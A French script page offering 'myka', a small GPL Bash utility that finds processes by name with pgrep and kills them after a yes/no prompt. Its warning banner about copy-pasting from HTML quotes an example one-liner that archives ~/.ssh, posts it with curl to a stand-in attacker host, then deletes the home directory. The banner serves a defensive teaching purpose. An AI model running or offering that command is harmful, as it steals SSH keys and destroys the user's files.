Script: myka

← Scripts & fichiers

⚠️ Évitez de copier/coller le code ci-dessous.

👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World

Mieux vaut télécharger le script au format texte brut en cliquant ici

#! /usr/bin/env bash
#
# MY Kill All
#
# Release: 1.0 of 2020/03/27
# 2020, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU  General Public License
# along with this program.  If not, see .

set -euo pipefail

name=$(basename "$0")

usage() {
	cat <<- EOF
		Usage $name STRING
		STRING = a string to match in activ process list
	EOF
	exit 1
}

info() {
	printf "%s\n" "$1"
}

nokill() {
	info "Nothing to kill :'("
	exit 0
}

[ -z "${1-}" ] && usage

list=$(pgrep -f -a -- "$1" | grep -v "$name")

[ -z "$list" ] && nokill

cat <<- EOF
	Found process :
	$list
EOF

read -r -p "Kill Them ? [y|N] " confirm

case "$confirm" in

	[Yy]|[Yy][Ee][Ss]|[Oo]|[Oo][Uu][Ii])
		target=$(printf "%s" "$list" | cut -d' ' -f1)
		for pid in $target; do
			info "Killing process N°$pid";
			kill "$pid"
		done
	;;

	*)
		info "Cancel. Bye."
	;;

esac

exit 0